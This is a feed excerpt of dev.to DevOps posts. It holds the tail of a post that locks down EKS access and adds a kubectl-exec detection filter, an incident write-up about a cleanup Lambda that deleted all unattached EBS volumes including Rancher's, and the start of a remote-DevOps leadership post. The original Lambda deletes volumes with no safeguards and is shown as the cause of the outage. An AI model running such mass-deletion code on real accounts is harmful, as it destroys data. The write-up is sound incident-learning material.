&lt;p&gt;Here is the Terraform code I used to lock it down:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="c1"&gt;// 1. We create a "Security Boundary" (Access Entry)&lt;/span&gt;
&lt;span class="k"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_eks_access_entry"&lt;/span&gt; &lt;span class="s2"&gt;"security_boundary"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;cluster_name&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"prod-cluster"&lt;/span&gt;
  &lt;span class="nx"&gt;principal_arn&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"arn:aws:iam::123456789012:role/ReadOnly-Developer"&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt;          &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"STANDARD"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// 2. We attach a strictly limited policy (View Only)&lt;/span&gt;
&lt;span class="k"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_eks_access_policy_association"&lt;/span&gt; &lt;span class="s2"&gt;"view_only"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;cluster_name&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"prod-cluster"&lt;/span&gt;
  &lt;span class="nx"&gt;policy_arn&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy"&lt;/span&gt;
  &lt;span class="nx"&gt;principal_arn&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_eks_access_entry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;security_boundary&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;principal_arn&lt;/span&gt;
  &lt;span class="nx"&gt;access_scope&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"cluster"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, if this role gets compromised again, I can revoke it with a single API call, and that action is instantly logged.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: The Alarm System
&lt;/h2&gt;

&lt;p&gt;I never want to manually hunt for this again. I set up a "tripwire." If anyone tries to use kubectl exec in production, effectively opening a shell into a container, I get a Slack notification immediately.&lt;/p&gt;

&lt;p&gt;We used a CloudWatch Metric Filter for this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_cloudwatch_log_metric_filter"&lt;/span&gt; &lt;span class="s2"&gt;"exec_tripwire"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;name&lt;/span&gt;           &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"EKSExecDetection"&lt;/span&gt;
  &lt;span class="c1"&gt;// This pattern looks for the 'connect' verb on the 'exec' subresource&lt;/span&gt;
  &lt;span class="nx"&gt;pattern&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"{ (&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="s2"&gt;.verb = &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;connect&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;) &amp;amp;&amp;amp; (&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="s2"&gt;.objectRef.subresource = &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;exec&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;) }"&lt;/span&gt;
  &lt;span class="nx"&gt;log_group_name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"/aws/eks/prod-cluster/cluster"&lt;/span&gt;

  &lt;span class="nx"&gt;metric_transformation&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;name&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ExecAttempt"&lt;/span&gt;
    &lt;span class="nx"&gt;namespace&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ClusterSecurity"&lt;/span&gt;
    &lt;span class="nx"&gt;value&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"1"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The Takeaway&lt;/strong&gt;&lt;br&gt;
Wearing two caps—DevOps and Forensics is a balancing act.&lt;/p&gt;

&lt;p&gt;DevOps is about building fast and keeping the lights on.&lt;/p&gt;

&lt;p&gt;Forensics is about proving what happened and ensuring it doesn't happen again.&lt;/p&gt;

&lt;p&gt;If you only wear the DevOps cap, you might "fix" the problem but leave the door wide open. If you can’t answer Who did it, Where they came from, and What they changed, you haven't really finished the job.&lt;/p&gt;

&lt;p&gt;Next time you see something weird in your cluster, don't just kubectl delete. Stop. Capture. Then fix.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>aws</category>
      <category>kubernetes</category>
      <category>security</category>
    </item>
    <item>
      <title>Automation Gone Wrong: Our Cleanup Lambda Deleted Rancher’s EBS Volume (and How Velero Saved Us)</title>
      <dc:creator>Frank Osasere Idugboe</dc:creator>
      <pubDate>Fri, 30 Jan 2026 11:00:03 +0000</pubDate>
      <link>https://dev.to/aws-builders/automation-gone-wrong-our-cleanup-lambda-deleted-ranchers-ebs-volume-and-how-velero-saved-us-4c88</link>
      <guid>https://dev.to/aws-builders/automation-gone-wrong-our-cleanup-lambda-deleted-ranchers-ebs-volume-and-how-velero-saved-us-4c88</guid>
      <description>&lt;p&gt;A real-world incident where an automated cleanup Lambda deleted our Rancher's EBS volume in our development environment. Here's how we recovered using Velero and prevented it from happening again.&lt;/p&gt;

&lt;p&gt;You know that Nigerian saying: &lt;strong&gt;“The same broom you use to sweep your house can sweep away your blessings”&lt;/strong&gt;?&lt;br&gt;&lt;br&gt;
Well, our cost-optimization Lambda function just swept away our entire Rancher installation at midnight. 😅&lt;/p&gt;

&lt;p&gt;It was &lt;strong&gt;4:40 AM&lt;/strong&gt; when I got the alert. Rancher UI showing &lt;strong&gt;502 errors&lt;/strong&gt;. My first thought? “Ah, network wahala again.” But this time, it was different. Our automation had turned against us.&lt;/p&gt;

&lt;p&gt;Let me tell you how we went from &lt;strong&gt;“Jesus take the wheel”&lt;/strong&gt; to &lt;strong&gt;“we move!”&lt;/strong&gt; in just 20 minutes.&lt;/p&gt;


&lt;h2&gt;
  
  
  🔥 The Incident: When Automation Bites Back
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The Setup:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Rancher running on AWS EKS in &lt;code&gt;eu-west-1&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;A Lambda function scheduled to run at midnight to delete unused EBS volumes (saving costs, you know the drill)&lt;/li&gt;
&lt;li&gt;Everything working fine... until it wasn’t&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The Symptoms:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Rancher UI returning &lt;strong&gt;502 Bad Gateway&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Rancher pod stuck in &lt;code&gt;ContainerCreating&lt;/code&gt; for &lt;strong&gt;8+ hours&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;My coffee getting cold while I investigated ☕️&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  🔍 Investigation: Finding the Culprit
&lt;/h2&gt;

&lt;p&gt;First things first, let’s see what’s happening with our Rancher pod:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubectl get pods -n cattle-system -o wide

NAME                      READY   STATUS            RESTARTS   AGE
rancher-57774d445-9hqcb   0/1     ContainerCreating   0          8h
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Eight hours in ContainerCreating? Something is seriously wrong. Time to dig deeper:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubectl describe pod rancher-57774d445-9hqcb -n cattle-system | grep -A 20 "Events:"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And there it was, the smoking gun:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Warning  FailedAttachVolume  AttachVolume.Attach failed for volume "pvc-c343abb9-0df7-4c91-b6fa-11da4a13ac00"
rpc error: code = Internal desc = Could not attach volume "vol-0c9a7de28533e72a4" to node
api error InvalidVolume.NotFound: The volume 'vol-0c9a7de28533e72a4' does not exist.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The volume doesn’t exist. 😱&lt;/p&gt;

&lt;p&gt;At this point, I remembered our Lambda function. The one that was supposed to save us money by cleaning up unused volumes. The same one that runs at midnight...&lt;/p&gt;

&lt;p&gt;Let’s check the PVC:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubectl get pvc -n cattle-system
NAME          STATUS   VOLUME                                     CAPACITY   ACCESS MODES
rancher-pvc   Bound    pvc-c343abb9-0df7-4c91-b6fa-11da4a13ac00   10Gi       RWO
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The PVC thinks it’s bound to a volume that AWS says doesn’t exist. Classic case of “the automation did exactly what we told it to do.”&lt;/p&gt;

&lt;p&gt;🕵️ The Root Cause: Too Smart for Our Own Good&lt;/p&gt;

&lt;p&gt;Here’s what our Lambda function looked like:&lt;br&gt;
import boto3&lt;/p&gt;

&lt;p&gt;def lambda_handler(event, context):&lt;br&gt;
    ec2_client = boto3.client('ec2', region_name='eu-west-1')&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Get all available (unused) volumes
response = ec2_client.describe_volumes(
    Filters=[{'Name': 'status', 'Values': ['available']}]
)

# Delete them all! What could go wrong? 🤷‍♂️
for volume in response['Volumes']:
    volume_id = volume['VolumeId']
    print(f"Deleting {volume_id}...")
    ec2_client.delete_volume(VolumeId=volume_id)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;The problem? It deleted ALL volumes with status available, including Kubernetes persistent volumes that were temporarily detached during pod restarts or node maintenance.&lt;/p&gt;

&lt;p&gt;In Nigerian parlance: We used a sledgehammer to kill a mosquito, and we broke the wall. 😂&lt;/p&gt;

&lt;p&gt;🚑 The Recovery: From Panic to Peace in 20 Minutes&lt;br&gt;
Step 1: Check for Backups (Please, Please Have Backups!)&lt;/p&gt;

&lt;p&gt;First question in any disaster: Do we have backups?&lt;br&gt;
We were using Velero for cluster backups:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubectl get backups -n velero
NAME                        AGE
daily-backup-20260130010007 6h47m
daily-backup-20260129040219 27h
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Thank God! We have a backup from 01:00 AM. Let’s verify it includes our cattle-system namespace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubectl get backup daily-backup-20260130010007 -n velero \
  -o jsonpath='{.spec.includedNamespaces}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;["cattle-system","data-workload","observability"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Perfect! ✅ Time to bring Rancher back from the dead.&lt;/p&gt;

&lt;p&gt;Step 2: Clear the Broken Resources&lt;/p&gt;

&lt;p&gt;Before we can restore, we need to clean up the broken PVC and PV.&lt;/p&gt;

&lt;p&gt;Scale down Rancher:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubectl scale deployment rancher -n cattle-system --replicas=0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now delete the broken resources:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubectl delete pvc rancher-pvc -n cattle-system
kubectl delete pv pvc-c343abb9-0df7-4c91-b6fa-11da4a13ac00 --force --grace-period=0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tip: If the PV refuses to delete due to finalizers, remove them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubectl patch pv pvc-c343abb9-0df7-4c91-b6fa-11da4a13ac00 -p '{"metadata":{"finalizers":null}}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Step 3: Velero to the Rescue&lt;/p&gt;

&lt;p&gt;Time to restore from our backup. Create a Velero Restore:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubectl create -f - &amp;lt;&amp;lt;EOF
apiVersion: velero.io/v1
kind: Restore
metadata:
  name: rancher-restore-$(date +%Y%m%d-%H%M%S)
  namespace: velero
spec:
  backupName: daily-backup-20260130010007
  includedNamespaces:
  - cattle-system
  restorePVs: true
  existingResourcePolicy: update
EOF
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check the restore status:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubectl get restore -n velero
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify the PVC was recreated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubectl get pvc -n cattle-system

NAME          STATUS   VOLUME                                     CAPACITY   ACCESS MODES
rancher-pvc   Bound    pvc-e4849291-fdc3-4a07-a8b9-e14fa93dbbd1   10Gi       RWO
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;New volume, new life! Now scale Rancher back up:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubectl scale deployment rancher -n cattle-system --replicas=1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wait about a minute and check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubectl get pods -n cattle-system -l app=rancher

NAME                      READY   STATUS    RESTARTS   AGE
rancher-57774d445-z9wj9   1/1     Running   0          3m7s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🎉 Rancher is back! We move!&lt;/p&gt;

&lt;p&gt;🛡️ Prevention: Making Sure This Never Happens Again&lt;/p&gt;

&lt;p&gt;Now that we’ve recovered, let’s fix that Lambda function so it doesn’t delete our infrastructure again.&lt;/p&gt;

&lt;p&gt;Key insight: Kubernetes (and the EBS CSI driver) tags EBS volumes. We can use those tags to protect K8s-managed volumes.&lt;/p&gt;

&lt;p&gt;Here’s the updated Lambda function (with guardrails):&lt;/p&gt;

&lt;p&gt;import boto3&lt;br&gt;
import json&lt;br&gt;
from datetime import datetime&lt;/p&gt;

&lt;p&gt;def lambda_handler(event, context):&lt;br&gt;
    ec2_client = boto3.client('ec2', region_name='eu-west-1')&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;deleted_volumes = []
skipped_volumes = []
total_size_gb = 0

response = ec2_client.describe_volumes(
    Filters=[{'Name': 'status', 'Values': ['available']}]
)

volumes = response['Volumes']
print(f"Found {len(volumes)} available volumes")

for volume in volumes:
    volume_id = volume['VolumeId']
    volume_size = volume['Size']
    volume_type = volume['VolumeType']

    tags = {tag['Key']: tag['Value'] for tag in volume.get('Tags', [])}
    volume_name = tags.get('Name', 'N/A')

    # 🛡️ PROTECTION RULE 1: Skip Kubernetes volumes
    if any(key.startswith('kubernetes.io/') for key in tags.keys()):
        print(f"⊘ Skipping Kubernetes volume: {volume_id} ({volume_name})")
        skipped_volumes.append({'VolumeId': volume_id, 'Name': volume_name, 'Reason': 'Kubernetes volume'})
        continue

    # 🛡️ PROTECTION RULE 2: Skip volumes tagged as critical
    if tags.get('critical') == 'true':
        print(f"⊘ Skipping critical volume: {volume_id} ({volume_name})")
        skipped_volumes.append({'VolumeId': volume_id, 'Name': volume_name, 'Reason': 'Critical volume'})
        continue

    # 🛡️ PROTECTION RULE 3: Skip production volumes
    if tags.get('environment') == 'production':
        print(f"⊘ Skipping production volume: {volume_id} ({volume_name})")
        skipped_volumes.append({'VolumeId': volume_id, 'Name': volume_name, 'Reason': 'Production environment'})
        continue

    # Safe to delete
    try:
        print(f"Deleting: {volume_id} ({volume_name}) - {volume_size}GB")
        ec2_client.delete_volume(VolumeId=volume_id)

        deleted_volumes.append({'VolumeId': volume_id, 'Name': volume_name, 'Size': volume_size, 'Type': volume_type})
        total_size_gb += volume_size
        print(f"✓ Deleted: {volume_id}")
    except Exception as e:
        print(f"✗ Failed: {volume_id} - {str(e)}")

summary = {
    'Status': 'Success',
    'VolumesDeleted': len(deleted_volumes),
    'VolumesSkipped': len(skipped_volumes),
    'TotalSizeDeleted_GB': total_size_gb,
    'MonthlySavings_USD': round(total_size_gb * 0.11, 2),
    'Timestamp': datetime.utcnow().isoformat()
}

print(f"\n✓ Successfully deleted {len(deleted_volumes)} volumes ({total_size_gb}GB)")
print(f"⊘ Skipped {len(skipped_volumes)} protected volumes")
print(f"💰 Monthly savings: ~${round(total_size_gb * 0.11, 2)}")

return {'statusCode': 200, 'body': json.dumps(summary, default=str)}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Let’s confirm our new Rancher volume has Kubernetes tags:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws ec2 describe-volumes --volume-ids vol-05c365c66b6c1fed0 \
  --region eu-west-1 --query 'Volumes[0].Tags'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example tags you’ll typically see:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kubernetes.io/created-for/pvc/namespace: cattle-system
kubernetes.io/created-for/pvc/name: rancher-pvc
kubernetes.io/created-for/pv/name: pvc-e4849291-fdc3-4a07-a8b9-e14fa93dbbd1
ebs.csi.aws.com/cluster: true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Perfect — our updated Lambda will now skip these volumes.&lt;/p&gt;

&lt;p&gt;📊 The Timeline: How Fast Can You Recover?&lt;/p&gt;

&lt;p&gt;00:00 — Lambda deletes the volume (while we’re sleeping)&lt;/p&gt;

&lt;p&gt;01:00 — Velero backup runs (thank God for automation!)&lt;/p&gt;

&lt;p&gt;04:40 — Issue discovered (502 errors everywhere)&lt;/p&gt;

&lt;p&gt;04:48 — Velero restore initiated&lt;/p&gt;

&lt;p&gt;04:55 — Restore completed, new volume created&lt;/p&gt;

&lt;p&gt;04:58 — Rancher fully operational (1/1 Ready)&lt;/p&gt;

&lt;p&gt;05:04 — Lambda function patched with protection rules&lt;/p&gt;

&lt;p&gt;05:06 — Incident documentation completed&lt;/p&gt;

&lt;p&gt;Total downtime: ~5 hours (mostly unnoticed)&lt;br&gt;
Active recovery time: ~20 minutes&lt;br&gt;
Lessons learned: priceless&lt;/p&gt;

&lt;p&gt;💡 Key Takeaways (The Real Gist)&lt;br&gt;
1) Backups Are Your Best Friend&lt;/p&gt;

&lt;p&gt;Without Velero backups, this would have been a “start updating your CV” moment.&lt;/p&gt;

&lt;p&gt;Action: Set up automated backups TODAY. Test restores regularly.&lt;/p&gt;

&lt;p&gt;2) Automation Without Guardrails Is Dangerous&lt;/p&gt;

&lt;p&gt;Our Lambda did exactly what we told it to do. We forgot to tell it what NOT to do.&lt;/p&gt;

&lt;p&gt;Action: Add explicit exclusion rules + dry runs + approvals for destructive actions.&lt;/p&gt;

&lt;p&gt;3) Tag Everything Like Your Job Depends On It&lt;/p&gt;

&lt;p&gt;Use Kubernetes tags, and add your own:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;critical=true

environment=production

managed-by=kubernetes

backup=daily
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Action: Enforce tagging via AWS Config / SCPs / policy-as-code.&lt;/p&gt;

&lt;p&gt;4) Test Your Disaster Recovery Plan&lt;/p&gt;

&lt;p&gt;We got lucky. Don’t rely on luck.&lt;/p&gt;

&lt;p&gt;Action: Run quarterly DR drills. Restore to a test environment. Time it.&lt;/p&gt;

&lt;p&gt;5) Monitor Everything&lt;/p&gt;

&lt;p&gt;We could’ve caught this earlier.&lt;/p&gt;

&lt;p&gt;Action: Alert on:&lt;/p&gt;

&lt;p&gt;PV attach failures&lt;/p&gt;

&lt;p&gt;Pods stuck in ContainerCreating &amp;gt; 5 minutes&lt;/p&gt;

&lt;p&gt;Lambda deletion logs&lt;/p&gt;

&lt;p&gt;Backup failures&lt;/p&gt;

&lt;p&gt;6) Document Your Incidents&lt;/p&gt;

&lt;p&gt;This post exists because we documented during recovery.&lt;/p&gt;

&lt;p&gt;Action: Create incident templates + runbooks.&lt;/p&gt;

&lt;p&gt;🎯 Your Action Plan (Start Today!)&lt;/p&gt;

&lt;p&gt;Audit your cleanup scripts: what can they delete accidentally?&lt;/p&gt;

&lt;p&gt;Install Velero (or any backup tool) and schedule automated backups.&lt;/p&gt;

&lt;p&gt;Test restore procedures (don’t just “have backups”, verify them).&lt;/p&gt;

&lt;p&gt;Enforce tagging for critical/prod resources.&lt;/p&gt;

&lt;p&gt;Add monitoring for K8s storage + automation jobs.&lt;/p&gt;

&lt;p&gt;Document runbooks and incident learnings.&lt;/p&gt;

&lt;p&gt;🤔 Discussion: What Would You Do?&lt;/p&gt;

&lt;p&gt;Have you had an “automation gone wrong” moment? How did you handle it? What guardrails do you use?&lt;/p&gt;

&lt;p&gt;Drop your stories in the comments 👇&lt;/p&gt;

&lt;p&gt;📚 Resources&lt;/p&gt;

&lt;p&gt;Velero Documentation: &lt;a href="https://velero.io/docs/" rel="noopener noreferrer"&gt;https://velero.io/docs/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes Persistent Volumes: &lt;a href="https://kubernetes.io/docs/concepts/storage/persistent-volumes/" rel="noopener noreferrer"&gt;https://kubernetes.io/docs/concepts/storage/persistent-volumes/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;AWS EC2 Tagging: &lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;AWS Lambda Best Practices: &lt;a href="https://docs.aws.amazon.com/lambda/latest/dg/best-practices.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/lambda/latest/dg/best-practices.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Remember: The best disaster recovery plan is the one you’ve tested. The second best is the one you have. The worst is the one you wish you had.&lt;/p&gt;

&lt;p&gt;Stay safe out there, and may your volumes never be accidentally deleted! 🙏&lt;/p&gt;

&lt;p&gt;P.S. If this saved you from a similar disaster, share it with your team, prevention is better than cure.&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>aws</category>
      <category>devops</category>
      <category>incident</category>
    </item>
    <item>
      <title>Revolutionary Remote DevOps: A C-Level Blueprint for Digital Transformation Excellence</title>
      <dc:creator>Frank Osasere Idugboe</dc:creator>
      <pubDate>Sat, 18 Jan 2025 08:09:28 +0000</pubDate>
      <link>https://dev.to/aws-builders/revolutionary-remote-devops-a-c-level-blueprint-for-digital-transformation-excellence-59n1</link>
      <guid>https://dev.to/aws-builders/revolutionary-remote-devops-a-c-level-blueprint-for-digital-transformation-excellence-59n1</guid>
      <description>&lt;h1&gt;
  
  
  Unlocking DevOps Excellence in a Remote World: A Comprehensive Guide for C-Level Executives
&lt;/h1&gt;

&lt;p&gt;The landscape of software development and operations has undergone a seismic shift with the widespread adoption of remote work. As a DevOps engineer with over seven years of experience in cloud platforms, CI/CD tools, and containerization technologies, I've witnessed this transformation firsthand. Currently serving as a DevOps Engineer at OxygenX, and drawing from my experience building products at Yebox Technologies, working as a Cloud Engineer at Colarroid Creations, and contributing to AWS Community Builders, I'll share how organizations can adapt their DevOps practices to thrive in a remote-first world. With my upcoming Master's in Forensic Science with a cybersecurity focus beginning in March, I bring both practical experience and a commitment to continued learning in this rapidly evolving field.&lt;/p&gt;

&lt;h2&gt;
  
  
  The New Reality: DevOps in a Distributed World
&lt;/h2&gt;

&lt;p&gt;The convergence of DevOps practices and remote work has created a paradigm shift in how organizations approach software development and operations. Through my roles at OxygenX, Yebox Technologies, and Colarroid Creations, I've seen that this transformation isn't just about adapting existing processes – it's about reimagining collaboration, innovation, and value delivery in a distributed environment.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Remote DevOps Advantage
&lt;/h3&gt;

&lt;p&gt;Through my experience working with distributed teams across multiple organizations, I've observed several distinct benefits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Expanded talent pools unrestricted by geographical boundaries. At AWS Community Builders and through my work at OxygenX, I've collaborated with exceptional professionals worldwide, proving that talent knows no borders.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Reduced operational costs through optimized resource allocation. At Colarroid Creations, I implemented cloud optimization strategies that significantly reduced infrastructure costs while maintaining performance, and further refined these approaches at OxygenX.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Increased productivity through asynchronous workflows. My experience managing content for Slum2SchoolAfrica taught me how asynchronous communication can enhance efficiency across time zones, a practice I've successfully implemented at OxygenX.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enhanced work-life balance leading to better retention rates. Across my roles at Yebox, Colarroid Creations, and OxygenX, I've seen how remote work flexibility contributes to team satisfaction and longevity.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Building a Remote-First DevOps Culture
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Leadership in the Virtual Space
&lt;/h3&gt;

&lt;p&gt;Drawing from my mentoring experience with Junior Achievement Nigeria and current leadership responsibilities at OxygenX:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Championing a culture of trust and autonomy while maintaining accountability through clear metrics and expectations&lt;/li&gt;
&lt;li&gt;Establishing clear communication channels and expectations across distributed teams&lt;/li&gt;
&lt;li&gt;Implementing outcome-based performance metrics that focus on value delivery&lt;/li&gt;
&lt;li&gt;Fostering an environment where remote collaboration is the default, not an exception&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tools and Infrastructure
&lt;/h3&gt;

&lt;p&gt;Based on my hands-on experience across multiple organizations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Robust CI/CD pipelines: At OxygenX, I've implemented advanced pipelines using Jenkins and GitHub Actions, building on my experience from Yebox Technologies.&lt;/li&gt;
&lt;li&gt;Collaborative development environments (CDEs): At Colarroid Creations, I established environments that enable seamless cooperation across distributed teams.&lt;/li&gt;
&lt;li&gt;Infrastructure as Code (IaC): Implemented comprehensive IaC solutions at both OxygenX and Colarroid Creations for consistent environments across all deployments.&lt;/li&gt;
&lt;li&gt;Automated monitoring and alerting systems: Developed real-time visibility solutions that have been crucial for remote team success.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
